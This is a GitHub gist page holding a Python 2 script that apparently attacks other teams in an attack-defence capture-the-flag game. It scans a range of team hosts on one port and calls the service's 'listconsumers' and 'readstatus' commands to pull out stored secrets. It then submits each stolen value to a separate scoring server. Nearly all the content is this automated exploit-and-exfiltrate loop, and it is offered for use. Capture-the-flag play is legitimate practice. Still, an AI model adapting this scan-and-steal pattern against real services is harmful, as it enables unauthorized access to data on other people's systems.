Skip to content

Instantly share code, notes, and snippets.

@EvaGL
Created November 9, 2013 17:54
Show Gist options
  • Save EvaGL/7388005 to your computer and use it in GitHub Desktop.
Save EvaGL/7388005 to your computer and use it in GitHub Desktop.
import socket
import re
import os
f = open(os.devnull, 'w')
keys = []
bad = [0]*255
while True:
for ip in xrange(1, 254):
if bad[ip] > 0:
bad[ip] -= 1
continue
print str(ip) + ' team'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.settimeout(0.5)
s.connect(('10.22.' + str(ip) + '.1', 21721))
ans = s.recv(2048*10)
f.write(ans)
ans = s.recv(2048*10)
f.write(ans)
s.send('listconsumers\n')
ans = ''
temp = '1'
while len(temp) > 0 and temp[-1] != '>':
f.write(temp)
temp = s.recv(2048)
ans += temp
key = ''
i = 0
uids = []
while i < len(ans):
c = ans[i]
if c == "'":
uid = ""
i += 1
c = ans[i]
while c != "'" and i < len(ans):
uid += c
i += 1
if (i < len(ans)):
c = ans[i]
if (i < len(ans)):
uids.append(uid)
i += 1
f.write(ans)
for uid in uids[-3:]:
s.send('readstatus ' + uid + '\n')
ans = s.recv(2048*10)
f.write(ans)
match = re.match(r'.*status=(.*?) .*', ans)
if match:
key = match.groups(1)[0]
print key
subm = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
subm.connect(('10.23.0.1', 1))
rec = subm.recv(2048)
f.write(rec)
subm.send(key + '\n')
rec = subm.recv(2048)
print rec
subm.close()
except:
continue
s.close()
except:
bad[ip] = 15;
continue
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment